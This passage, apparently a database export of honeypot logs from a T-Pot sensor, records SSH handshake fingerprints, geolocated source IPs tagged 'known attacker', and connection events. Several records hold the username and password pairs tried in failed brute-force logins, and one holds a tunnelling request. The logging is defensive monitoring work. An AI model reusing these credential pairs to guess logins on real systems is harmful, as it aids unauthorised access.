"diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "b176305ca830", "@version": "1", "timestamp": "2021-09-20T11:29:01.788661Z", "@timestamp": "2021-09-20T11:29:01.788Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29731	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:28:58.947984+03	2021-09-20 14:30:04.509524+03	{"_id": "tQb3AnwBvYTbRNuEYTfE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "ddafc6f1593f", "@version": "1", "timestamp": "2021-09-20T11:28:58.947984Z", "@timestamp": "2021-09-20T11:28:58.947Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29733	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:28:58.947368+03	2021-09-20 14:30:04.512556+03	{"_id": "ugb3AnwBvYTbRNuEZDed", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 37155, "dest_port": 22, "timestamp": "2021-09-20T11:28:58.947368", "@timestamp": "2021-09-20T11:28:58.947Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29734	81.70.175.230	109.199.241.180	Fatt	2021-09-20 14:29:01.788043+03	2021-09-20 14:30:04.513553+03	{"_id": "xgb3AnwBvYTbRNuEbDdu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.70.175.230", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 43624, "dest_port": 22, "timestamp": "2021-09-20T11:29:01.788043", "@timestamp": "2021-09-20T11:29:01.788Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29735	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:29:01.5197+03	2021-09-20 14:30:04.515553+03	{"_id": "yAb3AnwBvYTbRNuEbTd-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.70.175.230:43624 (192.168.176.2:22) [session: b176305ca830]", "session": "b176305ca830", "@version": "1", "protocol": "ssh", "src_port": 43624, "dest_port": 22, "timestamp": "2021-09-20T11:29:01.519700Z", "@timestamp": "2021-09-20T11:29:01.519Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29736	95.85.8.215	109.199.241.180	Suricata	2021-09-20 14:29:17.028679+03	2021-09-20 14:30:04.516557+03	{"_id": "4Ab3AnwBvYTbRNuEqTfM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "flow_id": 1441833146972133, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41715, "dest_port": 22, "timestamp": "2021-09-20T11:29:17.028679Z", "@timestamp": "2021-09-20T11:29:17.028Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29737	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:29:16.975554+03	2021-09-20 14:30:04.517524+03	{"_id": "4gb3AnwBvYTbRNuEqjf1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "95.85.8.215", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41715, "timestamp": "2021-09-20T11:29:16.975554", "@timestamp": "2021-09-20T11:29:16.975Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29738	95.85.8.215	109.199.241.180	Fatt	2021-09-20 14:29:17.02877+03	2021-09-20 14:30:04.519523+03	{"_id": "4wb3AnwBvYTbRNuEqjf1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 41715, "dest_port": 22, "timestamp": "2021-09-20T11:29:17.028770", "@timestamp": "2021-09-20T11:29:17.028Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29739	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:29:17.360834+03	2021-09-20 14:30:04.520523+03	{"_id": "5Ab3AnwBvYTbRNuErDcG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.login.failed", "message": "login attempt [postgres/1234] failed", "session": "4e602ec6f817", "@version": "1", "password": "1234", "username": "postgres", "timestamp": "2021-09-20T11:29:17.360834Z", "@timestamp": "2021-09-20T11:29:17.360Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29740	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:29:18.421172+03	2021-09-20 14:30:04.521524+03	{"_id": "5Qb3AnwBvYTbRNuErzfw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "4e602ec6f817", "@version": "1", "duration": 1.4468133449554443, "timestamp": "2021-09-20T11:29:18.421172Z", "@timestamp": "2021-09-20T11:29:18.421Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29741	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:29:20.365315+03	2021-09-20 14:30:04.522524+03	{"_id": "5wb3AnwBvYTbRNuEtzfB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "69.195.128.18", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 69.195.128.18:80 from 0.0.0.0:0", "session": "1408bad53d51", "@version": "1", "src_port": 0, "dest_port": 80, "timestamp": "2021-09-20T11:29:20.365315Z", "@timestamp": "2021-09-20T11:29:20.365Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
29742	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:28:58.68662+03	2021-09-20 14:30:04.524524+03	{"_id": "twb3AnwBvYTbRNuEYTfF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:37155 (192.168.176.2:22) [session: ddafc6f1593f]", "session": "ddafc6f1593f", "@version": "1", "protocol": "ssh", "src_port": 37155, "dest_port": 22, "timestamp": "2021-09-20T11:28:58.686620Z", "@timestamp": "2021-09-20T11:28:58.686Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29743	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:29:00.348216+03	2021-09-20 14:30:04.525524+03	{"_id": "xAb3AnwBvYTbRNuEaTeX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/32xmax] failed", "session": "ddafc6f1593f", "@version": "1", "password": "32xmax", "username": "root", "timestamp": "2021-09-20T11:29:00.348216Z", "@timestamp": "2021-09-20T11:29:00.348Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29744	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:29:01.523881+03	2021-09-20 14:30:04.527525+03	{"_id": "xQb3AnwBvYTbRNuEbDdu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.70.175.230", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43624, "timestamp": "2021-09-20T11:29:01.523881", "@timestamp": "2021-09-20T11:29:01.523Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29745	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:29:01.522572+03	2021-09-20 14:30:04.528524+03	{"_id": "yQb3AnwBvYTbRNuEbTd-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "b176305ca830", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:29:01.522572Z", "@timestamp": "2021-09-20T11:29:01.522Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29746	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:29:01.615404+03	2021-09-20 14:30:04.529523+03	{"_id": "ygb3AnwBvYTbRNuEbTd-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/33] failed", "session": "ddafc6f1593f", "@version": "1", "password": "33", "username": "root", "timestamp": "2021-09-20T11:29:01.615404Z", "@timestamp": "2021-09-20T11:29:01.615Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
